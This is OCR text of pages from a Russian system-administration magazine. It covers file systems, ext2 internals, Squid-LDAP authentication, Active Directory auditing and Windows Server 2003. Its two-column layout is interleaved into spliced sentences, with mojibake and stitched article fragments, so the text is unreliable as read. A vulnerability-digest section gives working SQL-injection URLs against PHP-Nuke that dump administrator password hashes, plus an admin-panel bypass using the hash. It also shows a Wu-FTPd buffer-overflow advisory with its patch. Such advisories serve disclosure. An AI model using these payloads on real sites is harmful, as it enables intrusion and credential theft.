водительности необходимо отключить упаковку хвостов, свободные inodes (allocation). В этой системе реализова-
то добавьте опцию notail: на очень хорошая возможность, позволяющая избежать
фрагментации файлов, называемая delayed allocation. При
/dev/hda4 /home reiserfs notail 0 0 этом файловая система, получая данные для записи, по-
началу лишь резервирует под них необходимое свобод-
А опция -genericread может увеличить (а может и нет) ное место, откладывая саму запись до момента факти-
производительность при операциях поиска файлов, т.е. ческого сброса данных. Когда же такой момент наступа-
когда головка мало считывает, а много перемещается по ет, то XFS решает, куда необходимо их поместить. Если
диску. И, кстати, проект Reiser4, в котором не последнее осуществляется дозапись, то подбираются соседние сек-
место уделено security, поддерживается DARPA (Defense тора. Но наибольший эффект в такой задержке получа-
Advanced Research Projects Agency). ется еще за счет того, что, если создается временный
файл с малым временем жизни, то он вообще при таком
XFS случае на диск не пишется (соответственно не приходит-
Основа следующей файловой системы XFS была создана в ся занимать/освобождать метаданные). Для борьбы с
начале 90-х (1992-1993) фирмой Silicon Grapgics (сейчас SGI) внешней фрагментацией (против которой борятся про-
для мультимедийных компьютеров с ОС Irix, заменив уже не граммы типа Norton Speed Disk) имеется утилита xfs_fsr.
удовлетворявшую требованиям времени EFS, но немного Текущим ядром серии 2.4.* данная файловая система не
очищенная от некоторого кода GPL версия 1.0 стала дос- поддерживается (но уже имеется в тестовых ядрах 2.6),
тупна только 1 мая 2001 года. Найти всю необходимую ин- хотя в некоторых дистрибутивах (Gentoo, Lunar Linux) она
формацию можно по адресу: http://oss.sgi.com/projects/xfs. уже предлагается пользователю, поэтому необходимо схо-
Интересно, что «любимица» всех линуксоидов, компания дить на сайт разработчика за патчем (ftp://oss.sgi.com/
SCO, и здесь засветилась, назвав выход XFS под лицензи- projects/xfs/download/) и необходимыми утилитами (как
ей GPL «примером ярких работ нарушения авторских прав». миниум xfsprogs) для работы с ней. Сейчас на сайте дос-
Эта файловая система с самого начала была ори- тупен релиз 1.3. Теперь, пересобрав ядро и установив не-
ентирована на очень большие файлы (9 000 петабайт – обходимые утилиты, можно создать файловую систему:
9 миллионов терабайт – 1018 байт) и файловые системы
(18 000 петабайт ), это достигается тем, что она, в отли- #/sbin/mkfs.xfs /dev/hdb2 èëè mkfs -t xfs /dev/hdb2
чие от предыдущих, является полностью 64-битной, что
позволяет адресовать большие массивы данных. Особен- Для увеличения производительности в некоторых слу-
ностью этой файловой системы является устройство жур- чаях может помочь опция -l size=32m, фиксирующая жур-
нала – в него пишется часть метаданных самой файло- нал на 32 Мб, и с помощью -d agcount=x лучше устано-
24
администрирование
АРХИТЕКТУРА
ФАЙЛОВОЙ
СИСТЕМЫ
EXT2
В статье рассматривается логическая структура ext2 – файловой системы операционной системы Linux.
ВЛАДИМИР МЕШКОВ
26
администрирование
Основные компоненты Суперблок
файловой системы ext2 Суперблок – основной элемент файловой системы ext2.
Как и в любой файловой системе UNIX, в составе файловой Он содержит следующую информацию о файловой сис-
системы ext2 можно выделить следующие составляющие: теме (список неполный):
блоки и группы блоков; общее число блоков и inode в файловой системе;
информационный узел (information node); число свободных блоков и inode в файловой системе;
суперблок (superblock). размер блока файловой системы;
количество блоков и inode в группе;
Блоки и группы блоков размер inode;
Все пространство раздела диска разбивается на блоки идентификатор файловой системы;
фиксированного размера, кратные размеру сектора – номер первого блока данных.
1024, 2048 и 4096 байт. Размер блока указывается при
создании файловой системы на разделе жесткого диска. Другими словами, это номер блока, содержащего су-
Меньший размер блока позволяет экономить место на перблок. Этот номер всегда равен 0, если размер блока
жестком диске, но также ограничивает максимальный файловой системы больше 1024 байт, и 1, если размер
размер файловой системы. Все блоки имеют порядковые блока равен 1024 байт.
номера. С целью уменьшения фрагментации и количества От целостности суперблока напрямую зависит рабо-
перемещений головок жесткого диска при чтении боль- тоспособность файловой системы. Операционная систе-
ших массивов данных блоки объединяются в группы. ма создает несколько резервных копий суперблока для
возможности его восстановления в случае повреждения.
Информационный узел Главная копия находится по смещению 1024 байт от на-
Базовым понятием файловой системы является инфор- чала раздела, на котором создана файловая система (пер-
мационный узел, information node, или inode. Это специ- вые 1024 байта зарезервированы для загрузчика опера-
альная структура, которая содержит информацию об ат- ционной системы).
рибутах и физическом расположении файла. Атрибутами Ранние версии файловой системы ext2 создавали ко-
файла являются его тип (обычный файл, каталог и т. д.), пии суперблока в начале каждой группы блоков. Это при-
права доступа к нему, идентификатор владельца, размер, водило к большим потерям дискового пространства, по-
время создания. Информация о физическом расположе- этому позже количество резервных копий суперблока
нии представляет собой последовательность абсолютных было уменьшено, и для их размещения были выделены
номеров блоков, содержащих данные файла. группы блоков 0, 1, 3, 5 и 7.
28
администрирование
index = (inode_num - 1) % inodes_per_groupe 5. Из группы блоков A считывается блок, содержащий
записи корневого каталога.
где index – позиция inode в таблице. 6. Выполняется поиск записи с именем «test.file». Если
Рассмотрим пример получения содержимого файла такая запись найдена, из нее извлекается порядковый
test.file, находящегося в корневом каталоге. Для чтения номер inode файла «test.file».
файла /test.file необходимо:
в массиве записей корневого каталога найти запись Определив номер inode, можно получить доступ к ин-
об этом файле; формационным блокам файла (этапы 7-11):
извлечь порядковый номер inode файла, вычислить но- 7. Вычисляется номер группы, в которой находится данный
мер группы, в которой этот inode расположен; inode, и его позицию в таблице inode группы (предполо-
из дескриптора данной группы извлечь адрес табли- жим, что номер группы равен B, а позиция в таблице – X).
цы inode группы; 8. Из таблицы дескрипторов групп извлекаем дескрип-
вычислить позицию inode в этой таблице; тор группы блоков B, и из него считывается адрес таб-
считать inode файла; лицы inode этой группы блоков.
из inode извлечь адреса информационных блоков и 9. Из группы блоков B считывается таблица inode.
осуществить чтение информации, находящейся в этих 10. Из таблицы inode группы блоков B считывается inode,
блоках. находящийся в позиции X.
11. Из считанного inode извлекаются адреса блока с со-
На рис. 2 подробно показаны этапы чтения файла /test.file. держимым файла /test.file и выполняется чтение ин-
Этапы 1-6 – чтение корневого каталога: формации из блока с указанным адресом.
1. Из группы блоков 0 считывается таблица дескрипто-
ров групп.
2. Из таблицы дескрипторов групп извлекается дескрип- Программная реализация
тор группы блоков 0 и из него считывается адрес таб- алгоритма чтения файла
лицы inode группы 0. Исходные данные: имеется раздел жесткого диска, на ко-
3. Из группы блоков 0 считывается таблица inode. тором создана файловая система ext2. Этому разделу
4. Порядковый номер inode корневого каталога фик- соответствует файл устройства /dev/hda3. В корневом
сирован и равен 2, поэтому из таблицы inode груп- каталоге раздела создан подкаталог home, а в нем нахо-
пы 0 считывается второй элемент, который содер- дится файл test.file следующего содержания:
жит адрес блока с содержимым корневого катало-
га. Предположим, что этот блок расположен в груп-  ÷àùàõ þãà æèë áû öèòðóñ?
Äà, íî ôàëüøèâûé ýêçåìïëÿð!
пе блоков A. 1234567890-=
Ðèñóíîê 2. Ïîðÿäîê âûïîëíåíèÿ ïðîöåäóðû ÷òåíèÿ ôàéëà â ôàéëîâîé ñèñòåìå ext2 (íà ïðèìåðå ôàéëà /test.file)
30
администрирование
} Из таблицы дескрипторов групп извлекаем дескрип-
if(read(indev,(char *)&sb,sizeof(sb)) < 0) {
perror("read"); тор группы group и копируем его в структуру struct
exit(-1); ext2_group_desc gd:
}
void get_inode(int inode_num, struct ext2_inode *in) Функция получения номера inode по имени файла:
{
Первым символом в абсолютном путевом имени фай- type = ((in.i_mode & 0xF000) >> 12);
printf("Type - %d ",type);
ла должен быть прямой слэш (/). Проверяем это:
switch(type) {
case(0x04) :
if(full_path[0] != '/') { printf("(êàòàëîã)\n\n");
perror("slash"); break;
exit(-1); case(0x08) :
} printf("(îáû÷íûé ôàéë)\n\n");
break;
case(0x06) :
Открываем файл устройства, считываем суперблок и printf("(ôàéë áëî÷íîãî óñòðîéñòâà)\n\n");
таблицу дескрипторов групп: break;
case(0x02) :
printf("(ôàéë ñèìâîëüíîãî óñòðîéñòâà)\n\n");
indev = open(PART_NAME,O_RDONLY); break;
if(indev < 0) { default:
perror("open"); printf("(unknown type)\n");
exit(-1); break;
} }
read_sb();
read_gdt(); Проверяем тип файла. Если это обычный файл – пре-
рываем цикл:
Получаем содержимое корневого каталога:
if(type & 0x08) {
get_root_dentry();
В буфере buff будет находиться информация, считан-
Сейчас в буфере buff находятся все записи корневого ная из информационных блоков файла /home/test.file. За-
каталога (если хотите, можете сохранить их в отдельном пишем эту информацию в файл:
файле). Теперь, имея записи корневого каталога, мы мо-
жем добраться до содержимого файла test.file, используя outf = open("out",O_CREAT|O_RDWR,0600);
write(outf, buff, sizeof(buff));
вышеприведенный алгоритм чтения файла. С этой целью close(outf);
организуем цикл. В теле цикла проведем разбор абсолют- break;
}
ного путевого имени файла, выделяя его элементы – под- }
каталоги (он у нас один, home) и имя искомого файла
(test.file). Для каждого элемента определим порядковый Выходим:
номер inode, считаем этот inode и затем получим содер-
жимое нулевого блока (из последовательности адресных close(indev);
return 0;
блоков, находящихся в inode): }
32
bugtraq
login:crypt_passwd:
Sql-инъекция и неавторизованный доступ
в Spaiz-Nuke и PHP-nuke где login=логин, crypt_passwd=зашифрованный пароль.
Программа: Spaiz-Nuke версии <= 1.2beta, PHP-nuke все Получаем хеш. Теперь можно получить доступ к пане-
версии. ли администрирования, используя следующий URL:
Опасность: Высокая. www.site.com/admin.php?admin=ваш_хэш
Описание: Несколько уязвимостей обнаружено в Spaiz-Nuke Вручную использование данной уязвимости немного не-
и PHP-nuke. Удаленный пользователь может выполнить про- удобно, поэтому был написан эксплоит, позволяющий доба-
извольный Sql-код на уязвимой системе. Удаленный пользо- вить нового администратора со всеми правами. Посмотреть
ватель может получить доступ к системе без пароля. эксплоит можно здесь: http://rst.void.ru/download/r57nuke.txt
Внедрение Sql-кода в модуле администрирования. URL производителя: http://www.php-nuke.org
Уязвимость обнаружена в сценарии auth.php в функции Решение: Способов устранения обнаруженной уязвимо-
проверки логина и пароля. Атакующий может получить за- сти не существует в настоящее время.
шифрованный пароль администратора. Отсутствие про-
верки ввода обнаружено в переменной $aid, содержащей Удаленное переполнение буфера
логин для авторизации. Используя кавычку, можно пере- в Washington University FTP daemon (Wu-FTPd)
направить вывод в произвольный файл на сервере. Программа: Wu-FTPd version 2.6.2 (с поддержкой SKEY).
Эксплоит: www.site.com/admin.php?op=login&pwd=123&aid= Опасность: Высокая.
Admin’%20INTO%20OUTFILE%20'/path_to_file/pwd.txt Описание: Переполнение буфера обнаружено в Washington
Проверялось только на Spaiz-Nuke. После ввода данной University FTP daemon (Wu-FTPd). Удаленный атакующий
строки в браузере на уязвимом сервере будет создан файл может выполнить произвольный код на уязвимом сервере
/path_to_file/pwd.txt, содержащий зашифрованный пароль с root-привилегиями.
для логина «Admin». Переполнение стекового буфера обнаружено в коде,
Решение: Включите magic_quotes_gpc в файле php.ini. который обрабатывает SKEY-идентификацию в Wu-FTPd-
Внедрение Sql-кода в модуле web_links. сервере. Представляя специально обработанные опозна-
Отсутствие проверки ввода обнаружено в переменной $cid вательные мандаты, удаленный атакующий может ава-
в модуле web-links. Атакующий может внедрить произволь- рийно завершить работу демона или выполнить произ-
ный Sql-код. вольный код с root-привилегиями. Переполнение распо-
Эксплоит: показывает пример получения логинов и за- ложено в функции skey_challenge() в src/ftpd.c файле:
шифрованных паролей администраторов движка. Рабо-
тает на БД, поддерживающих команду UNION (mysql > 4). char *skey_challenge(char *name, struct passwd *pwd, int
pwok)
Для других БД необходимо изменять вид sql-запроса. $
{
$
1. Для php-nuke static char buf[128];
Данная строка выдаст все логины: www.site.com/modules.php ...
if (pwd == NULL || skeychallenge(&skey, pwd->pw_name,
?name=Web_Links&l_op=viewlink&cid=2%20UNION%20select% sbuf))
20counter,%20aid,%20pwd%20FROM%20nuke_authors%20— $
sprintf(buf, "Password required for %s.", name);
Данная строка выдаст все зашифрованные пароли: else
www.site.com/modules.php?name=Web_Links&l_op= sprintf(buf, "%s %s for %s.", sbuf,
pwok ? "allowed" : "required", name);
viewlink&cid=2%20UNION%20select%20counter,%20pwd, return (buf);
%20aid%20FROM%20nuke_authors%20— }
в коде не проверяются размеры параметра *name. Уязви-
2. Для Spaiz-Nuke мы системы, поддерживающие SKEY-идентификацию.
Изменить nuke_authors в строке на spnuke_authors. URL производителя: http://www.wuftpd.org/
Решение: Отключите поддержку SKEY или примените
3. Внедрение Sql-кода в модуле download * следующий патч:
Для PHP-nuke: www.site.com/modules.php?name=Downloads
&d_op= viewdownload&cid=2%20UNION%20select%20counter, % diff -u ftpd.c fixed-ftpd.c
--- ftpd.c 2001-11-29 17:56:11.000000000 +0100
%20aid,%20pwd%20FROM%20nuke_authors%20— +++ fixed-ftpd.c 2003-10-20 20:43:58.000000000 +0200
Для Spaiz-Nuke так же, как и в предыдущем случае. @@ -1662,9 +1662,9 @@
/* Display s/key challenge where appropriate. */
МАРК КРИЧМАР
34
администрирование
О настройках самого сервера LDAP написано достаточ- ./squid –z
но много, поэтому останавливаться на этом не буду. Ин-
теграция службы каталогов с разными службами осве- Теперь необходимо внести изменения в конфигураци-
щена тоже достаточно подробно, см., например: http:// онный файл SQUID.
www.linuxrsp.ru/artic/LDAP-HOWTO.html. Следующая строчка заставляет кэширующий сервер
В этой статье я не нашел, как подружить proxy-сервер доверять авторизацию внешней программе.
SQUID с вышеозначенной службой, это и сподвигло меня
на сей труд, не судите строго. auth_param basic program ↵
/usr/local/squid/libexec/squid_ldap_auth –P ↵
В данный момент подобная конфигурация работает на –b dc=mydomain,dc=ru ↵
платформе Dell PowerEdge 2500, операционная система Linux –f (&(uid=%s)(description=active)) –h 127.0.0.1
RHAS release 2.1 (Pensacola). Тестировалось на различных
версиях RH Linux, на других дистрибутивах *NIX-like систем Понятно, что всё пишется на одной строке.
не пробовал, но затруднений возникнуть не должно. Другие auth_param нужно закомментировать.
Итак, начнем. Задача достаточно проста – заставить Теперь пояснения по поводу параметров:
SQUID не только авторизовать пользователей, но и за- -P – оставлять соединение с LDAP-сервером откры-
быть, наконец, об acl-листах, в которых описаны группы. тым, для большого числа пользователей, для малого
Согласитесь, приятней добавить пользователя в опреде- числа, LDAP смысла поднимать нет;
ленную группу LDAP и все, а пользователь получает по- -b – с чего начинать поиск, в моем случае – с самого
чтовый ящик и доступ в Интернет через proxy-сервер. верха;
Причем ничего не надо перезапускать. -f – применить (&(uid=%s)(description=active)) данный
Первым делом скачиваем свежую версию SQUID, я фильтр, для проверки пары логин-пароль. В жизни при-
рассматриваю на примере SQUID-2.5.STABLE2.tar.gz. ходится сталкиваться с тем, что необходимо лишить
Распаковываем: пользователя доступа к Интернету, но не удалять же
из-за этого его запись, тем более, мы не запрещаем
tar zxvf SQUID-2.5.STABLE2.tar.gz ему пользоваться почтой, которая тоже работает че-
рез LDAP. Поэтому я и использовал поле description в
Переходим в созданный каталог с исходниками proxy- LDAP для своих нужд.
сервера и начинаем собирать:
Небольшое пояснение по поводу пары логин-пароль, это,
./configure --enable-delay-pools ↵ как вы уже догадались, два поля в LDAP: uid и userpassword,
--enable-cache-err-language=Russian-1251 ↵
--enable-linux-netfilter ↵ логин и пароль соответственно.
--enable-external-acl-helper=ldap_group ↵ Вернемся к полю description, если в нем находится
--enable-basic-auth-helpers=LDAP
строчка active и логин-пароль совпадают, то все чудесно,
Небольшое пояснение, обо всех параметрах запуска если в этом поле пусто или что-то другое, то извиняйте,
смысла писать нет, достаточно понятно, а вот два после- доступ через SQUID-сервер невозможен. Фактически мы
дних нам как раз и нужны для интеграции с LDAP-сервером. заставляем проверять на истинность не два параметра –
Последний ключ --enable-basic-auth-helpers=LDAP, соб- логин и пароль, а три. Кстати, ничто не мешает таким же
ственно, и указывает кэширующему серверу SQUID, что образом вставить в фильтр еще значения, я не представ-
проверку пары логин-пароль на предмет правильности он ляю зачем, но жизнь многогранна, кто знает, кому что по-
поручает внешней программе. надобится.
Ключ --enable-external-acl-helper=ldap_group необхо- И последний параметр -h 127.0.0.1, где, собственно,
дим, чтобы группы в LDAP соотносились с группами в по- запущен LDAP-сервер, в данном случае на одной маши-
нимании SQUID. не с кэширующим сервером.
Далее, следуя INSTALL: Следующая строчка в файле squid.conf настраивает
кэширующий сервер на поддержку внешних групп, так
make all называемых acl-листов.
make install
36
администрирование
dn: uid=Ivan,ou=accounts,dc=mydomain,dc=ru Теперь пора добавить наши данные.
objectClass: top
objectClass: person В случае работающего OpenLDAP:
objectClass: organizationalPerson
objectClass: inetOrgPerson /path/ldapadd –x –D “cn=Manager,dc=mydomain,dc=ru” –W ↵
objectClass: groupOfNames –f /path/example.ldif
description: active
member: ou=icq,dc=mydomain,dc=ru
sn: Ivanov /path/ – реальное местоположение утилиты ldapadd и фай-
cn: Ivanov Ivan Ivanovich ла example.ldif.
userPassword: 333
telephoneNumber: 999-99-99 В заключение хочется добавить, что лень и нехват-
title: Doctor ка времени заставили меня написать некоторое коли-
ou: Departament
givenName: Ivan чество скриптов, в основном на Perl, которые проверя-
initials: Ivanovich ют и расходование трафика пользователями и блоки-
mail: Ivan@mydomain.ru
uid: Ivan ровки доступа в Интернет с посылкой уведомления по
почте.
Запись для первого поля почти реальная, форма, а не Мои пользователи через веб-интерфейс правят свои
содержание. Последние две записи несколько аскетич- учетные записи на предмет рабочих телефонов, места ра-
ные, если вам не нужна ни адресная книга, ни поддержка боты, смены пароля – это реализовано на PHP.
QMail, то это как раз необходимый минимум. Этим я хочу сказать, что трудностей с созданием ваших
Небольшое пояснение. Поля sn, cn и др. заполнены программ для манипулирования LDAP быть не должно.
русским текстом в формате utf8. Ничего не имею против Для создания записей в OpenLDAP я пользуюсь GQ-0.6.0:
английского, но некоторые пользователи жалуются. К тому http://biot.com/gq/.
же появляется адресная книга вашей фирмы, не советую Вот, собственно, и всё. Удачи!
пользоваться адресной книгой в Outlook Express, на ред- Благодарность Henrik Nordstrom hno@squid-cache.org
кость неудобная реализация. Я пользуюсь той, что идет в за то, что написал модуль squid_ldap_group и объяснил
пакете Mozilla, но это дело вкуса. мне, как им пользоваться.
ИСПОЛЬЗОВАНИЕ
БЕЗДИСКОВЫХ
МАРШРУТИЗАТОРОВ
АНДРЕЙ МОЗГОВОЙ
38
администрирование
Структура сети и роль
бездисковых станций
Сервер
На сервере должны быть остановлны DHCPD [4], TFPD и
пакет SYSLINUX [5]. Как я уже говорил (см. выше), снача-
ла DHCPD должен отдать сетевые настройки, следова-
тельно, настраиваем его в первую очередь. Вот пример-
ное содержание конфигурационного файла:
40
администрирование
42
администрирование
МАКСИМ КОСТЫШИН
44
администрирование
Поводом для появления данной статьи послужила инфор- разделение, выяснить, как с ним можно связаться (конеч-
мация, опубликованная в журнале «Windows & .Net но же, речь здесь не идет о стандартных учетных записях
Magazine/RE» №5 за 2003 год под названием «Утилита типа «Администратор», «Administrator», «Guest», «Гость»,
LDIF Directory Exchange», подсказавшая решения, кото- и другие).
рые можно было использовать для того, чтобы обеспе- И в-третьих, выполнение требований политики безо-
чить необходимый уровень автоматизации при проведе- пасности предприятия подразумевает, что усилия и ад-
нии аудита учетных записей пользователей в Active министраторов, и пользователей должны быть направле-
Dircectory. В статье было приведено описание основных ны на то, чтобы учетная запись использовалась только ее
возможностей двух утилит Ldifde.exe и Csvde.exe, обес- владельцем. То есть, если протокол выполнения опера-
печивающих добавление, изменение и удаление объек- ций работы с какой-либо из программ показал, что пользо-
тов Active Directory. ватель вошел под учетной записью Иванова Ивана Ива-
Информация, изложенная ниже, ориентирована на ис- новича, то абсолютно нерационально будет тратить вре-
пользование Windows-платформ и предназначена в ос- мя на дополнительные разборки с ситуациями, когда вы-
новном для людей, отвечающих за вопросы компьютер- ясняется, что учетной записью пользуются (из-за недо-
ной безопасности аудиторов, специализирующихся в дан- статочных знаний компьютера или обычной лени) все со-
ной области. Надеемся, что статья будет полезна и лю- трудники отдела, в котором трудятся пять человек.
дям, профессионально занимающимся администрирова-
нием локальных сетей. Обзор возможностей по работе
с учетными записями
Постановка проблемных вопросов Попробуем перечислить те возможности, которые есть под
В определенный момент времени наступает то критичес- руками у администратора для работы с учетными запися-
кое состояние для списка пользователей локальной сети ми пользователей в Active Directory, и то, насколько они
предприятия, когда нежелание остановиться и провести могут быть использованы для проведения аудита.
анализ его содержимого может повлечь большие затра- Оснастка Active Directory – пользователи и компьютеры
ты и проблемы, нежели своевременное проведение ра- (которую можно найти в разделе «Администрирование» на
бот по аудиту и устранению выявленных недостатков. сервере). Замечательная возможность для добавления,
О чем идет речь? В организациях, где число сотрудни- редактирования свойств и удаления пользователей доме-
ков, работающих с компьютерной техникой, превышает на, но, к сожалению, достаточно бесполезная в вопросах
100 человек, администрированием занимаются, как пра- проведения ревизии и аудита. К положительным момен-
вило, два-три сотрудника. Не все они, в силу различных там можно отнести возможность проведения экспорта спис-
обстоятельств, с достаточным педантизмом относятся к ка пользователей, в который можно включить такие поля,
работе по внесению во вновь создаваемые учетные за- как – «имя входа пользователя», «имя», «выводимое имя»,
писи информации о владельцах. Кроме того, админист- «фамилия», «изменен». Отметим, что поле «изменен» по-
раторы обычно не включены в список тех сотрудников, казывает время и дату последних изменений для учетной
которым обязаны сообщать об увольнениях. Два этих об- записи администратором (производилась коррекция на-
стоятельства являются основными причинами, из-за ко- строек) или владельцем (смена пароля).
торых и происходит накопление учетных записей «мерт- Системная утилита Net.exe. С помощью этой утилиты
вых душ». вы можете обеспечить работу с данными конкретного
Попробуем провести некоторую систематизацию наи- пользователя (вариант вызова – «Net user») – получить
более значимых и очевидных проблем для списка пользо- дату и время последней регистрации в сети, а также оп-
вателей Active Directory. ределить, когда завершается срок действия пароля.
Во-первых, лишние записи в списке пользователей, Программы-сканеры, задача которых заключается в
которые могут быть: сборе информации о состоянии локальной сети или конк-
учетными записями уволенных сотрудников; ретного компьютера. Среди наиболее интересных про-
учетными записями работающих сотрудников, которы- грамм в плане получения информации о пользователях
ми не пользуются и владельцы которых уже вряд ли по- отметим CFI LANguard Network Security Scanner (ver 3.1.5).
мнят имена для входа в сеть (не говоря уже о паролях); Она предоставляет возможность получения достаточно
учетными записями заблокированных пользователей, подробной информации об учетных записях, такой как
для которых администратор выполнил первый шаг пе- дата и время последней регистрации; данные о том, ког-
ред удалением, но так и не закончил процедуру; да пароль будет просрочен; количество регистраций
учетными записями, созданными для тестирования, ко- пользователя в сети; значение индекса попыток входа с
торые обычно имеют достаточно высокие привилегии, некорректным паролем. Кроме того, программа позво-
и которые администратор забыл удалить, после того ляет на основании данных двух сохраненных протоко-
как процесс тестирования был завершен. лов сканирования сформировать отчет о расхождениях
и получить перечень заведенных и удаленных учетных
Во-вторых, к недопустимым можно отнести те учетные записей. Справедливости ради отметим, что программа
записи, которые однозначно не идентифицируют владель- имеет существенные недостатки, особенно для русско-
ца, т.е. дополнительная информация в которых не позво- язычной категории пользователей, так как она некоррек-
ляет назвать человека, определить его должность и под- тно обрабатывает русские названия (в именах и допол-
46
администрирование
= ÅÑËÈ(
ÇÍÀ×ÅÍ(ËÅÂÑÈÌÂ(F2;11))=0;
-1;
ÎÊÐÓÃËÂÍÈÇ((ÇÍÀ×ÅÍ(ËÅÂÑÈÌÂ(F2;11))- 12685849200)/24/3600; 0)
)
Ðèñóíîê 1. Ïðèìåð äàííûõ CSV-ôàéëà ïîñëå ýêñïîðòà Полученное на первом этапе значение сдвига дней
â Microsoft Excel относительно 1 января 2003 г. (в ячейке E2) используется
На рисунках приведена информация CVS-файла сразу для формирования даты в стандартном формате.
после проведения его загрузки в Microsoft Excel (рис. 1) и
после проведенных преобразований (рис. 2). Примеры =ÅÑËÈ( E2=-1;
"Îòñóòñòâóåò";
таких преобразований приведены ниже. Предлагаемые ÑÖÅÏÈÒÜ(
варианты преобразований не претендуют на логическую ÄÅÍÜ(ÄÀÒÀÇÍÀ×("1/1/2003")+E2);
".";
законченность, но могут являться той основой, с помо- ÌÅÑßÖ(ÄÀÒÀÇÍÀ×("1/1/2003")+E2);
щью которой за короткий срок может быть разработан ".";
ÃÎÄ(ÄÀÒÀÇÍÀ×("1/1/2003")+E2)
необходимый механизм обработки под каждый конкрет- )
ный случай.
=ÑÖÅÏÈÒÜ(
Ðèñóíîê 2. Âèä èíôîðìàöèè CSV-ôàéëà ïîñëå ïðåîáðàçîâàíèé ÏÑÒÐ(N2;7;2); "."; ÏÑÒÐ(N2;5;2); "."; ÏÑÒÐ(N2;1;4); " ";
ñ èñïîëüçîâàíèåì âîçìîæíîñòåé Microsoft Excel ÏÑÒÐ(N2;9;2); ":"; ÏÑÒÐ(N2;11;2)
)
Получение данных из структуры поля DN
Для получения имени пользователя из структуры вида
«…CN=Имя_пользователя,…» в ячейке A2, может быть Обработка значения поля
использована следующая формула преобразования: userAccountControl
о блокированности записи
=ÏÑÒÐ(A2; Получение данных о состоянии учетной записи по значе-
ÍÀÉÒÈ("CN=";A2)+3;
ÍÀÉÒÈ(","; A2; нию поля userAccontControl, содержащемуся в ячейке G2:
ÍÀÉÒÈ( "CN="; A2 )+3
) - ÍÀÉÒÈ("CN=";A2) -3
) =ÅÑËÈ(ÅÏÓÑÒÎ(G2);"";
ÅÑËÈ(ÈËÈG2=514; G2=66050);"Çàáëîêèðîâàííàÿ";"Äåéñòâóþùàÿ")
)
Для получения информации из структуры вида
«…OU=Данные,…» в ячейке A2 может быть использова- Подробные пояснения и описание формата хранения
на следующая формула преобразования: данных в поле userAccountControl можно найти в статье
Microsoft «How to Use the UserAccountControl Flags to
=ÅÑËÈ(ÅÏÓÑÒÎ('0'!A2);""; Manipulate User Account Properties» (http://support.
ÅÑËÈ(ÅÎØÈÁÊÀ(ÍÀÉÒÈ("OU=";'0'!A2)); "USERS";
ÏÑÒÐ( '0'!A2; microsoft.com/?kbid=305144). Отметим только, что если
ÍÀÉÒÈ("OU=";'0'!A2)+3; параметры учетной записи не заданы, то десятичное зна-
ÍÀÉÒÈ(","; '0'!A2;
ÍÀÉÒÈ("OU=";'0'!A2)+3) – чение userAccountControl равно 512; десятичное значение
ÍÀÉÒÈ("OU=";'0'!A2) -3 для блокированной учетной записи при отсутствии дру-
)
) гих параметров – 514.
)
Заключение
В статье предложен достаточно простой метод получе-
Обработка данных даты ния данных для аудита учетных записей пользователей в
и времени Unix-формата Active Directory, не требующий специальных навыков и
Получение даты в формате ДД.ММ.ГГГГ на основании знаний языков программирования.
данных в Unix-формате предлагаем производить в два Отметим, что кроме изложенного метода может быть
этапа. На первом этапе вычисляется количество дней, использован вариант, рекомендуемый Microsoft, предпо-
прошедших с 1 января 2003 г. На втором формируется лагающий использование интерфейсов службы Active
строка даты в стандартном формате. Directory (ADSI), которые предоставляют простой, мощ-
Для получения количества дней, прошедших с 1 янва- ный, объектно-ориентированный доступ к ресурсам Active
ря 2003 г., на основании данных в ячейке F2, заданных в Directory. Интерфейсы ADSI позволяют программистам и
Unix-формате даты и времени, может быть использована администраторам создавать программы каталога с ис-
следующая формула преобразования: пользованием инструментальных средств высокого уров-
48
администрирование
АЛЕКСЕЙ ДОЛЯ
МИХАИЛ МЕЛЬНИКОВ
50
администрирование
Не так давно всемирно известная группа Gartner про- ющей или предполагаемой информационной структу-
вела весьма интересное исследование рынка сервер- ры компании.
ных операционных систем семейства Windows, в ре- «При разработке Windows Server 2003 мы ставили во
зультате выяснилось, что подавляющее большинство главу угла повышение безопасности системы, – заявил
компаний и администраторов предпочитают базировать Билл Вегте, вице-президент подразделения Windows
свои серверы на старой как мир Windows NT 4.0 (она Server Division корпорации Microsoft. – Безопасность яв-
занимает порядка 60-70% рынка), и переход на Windows ляется одной из главных забот пользователей, и новые
2000 Server, а тем более на недавно вышедшую функции, реализованные в этой версии, значительно
Windows Server 2003 для них выглядит непривлекатель- облегчают создание защищенных систем. Windows
ной идеей. Microsoft же, в свою очередь, незадолго до Server 2003 представляет собой надежную безопасную
выхода Windows Server 2003 также провела статисти- платформу, обогащенную целым рядом новаторских ре-
ческое исследование, в котором рынку Windows NT 4.0 шений».
отводится всего лишь 35%. Более того, было развер- И действительно, выход операционной системы от-
нуто свыше 10 000 серверов вне стен Microsoft под уп- кладывался (по заявлениям Microsoft для того, чтобы
равлением Windows Server 2003 еще до официального максимально эффективно и качественно пройти этап
дня презентации. Кому верить – вопрос риторический. тестирования нового продукта), ее названия (по срав-
Однако время на месте не стоит, да и сама Microsoft нению с бэта-версиями) менялись. Ключевой довод раз-
дышит оптимизмом: с момента появления NT 4.0 воды работчиков сводился к повышению безопасности но-
утекло довольно много, а вариантов серверных Windows вой ОС. Что ж, будем надеяться, что цели поставлен-
помимо самой Windows NT 4.0 набралось уже два: ные разработчиками, реализованы.
Windows 2000 Server, и вот, встречайте, Windows Server Возвращаясь к цифрам статистики, можно сделать
2003 (как всегда в нескольких редакциях и ценовых ка- вывод, что не раз наученные горьким опытом админис-
тегориях: Enterprise, Web, Datacenter и, конечно же, траторы из принципа не переходят на новую версию
Standard). Каждый из вариантов системы позициони- Windows. А сама миграция им представляется переез-
руется компанией Microsoft для решения конкретных за- дом на Гондурас без денег и запасного белья. Некото-
дач в ориентации на разную производительность, фун- рые ждут как минимум двух официальных патчей, ко-
кциональность и гибкость, и масштаб организационной торые по идее должны исправить практически все не-
инфраструктуры. дочеты разработчиков, другие же закрывают глаза на
Windows Server 2003 Datacenter разработана для кри- все, и по-прежнему каждый день в меню «Пуск» наблю-
тичных бизнес-приложений, она позволяет решать за- дают надпись Windows NT 4.0 или Windows 2000.
дачи, требующие масштабируемости и доступности вы-
сокого уровня. Например, решения для баз данных, пла-
нирования ресурсов на предприятии, высокоскоростной
интерактивной обработки транзакций и консолидации
серверов. Windows Server 2003 Datacenter Edition под-
держивает 32-потоковую мультипроцессорную обработ-
ку данных (SMP) и до 64 Гб оперативной памяти (речь
идет о 32-разрядной версии, 64-разрядная поддержи-
вает соответственно 128 Гб ОЗУ), а также предостав-
ляет стандартные функции: восьмиузловую кластери-
зацию и службы балансировки нагрузки.
Windows Server 2003 Web Edition будет применяться
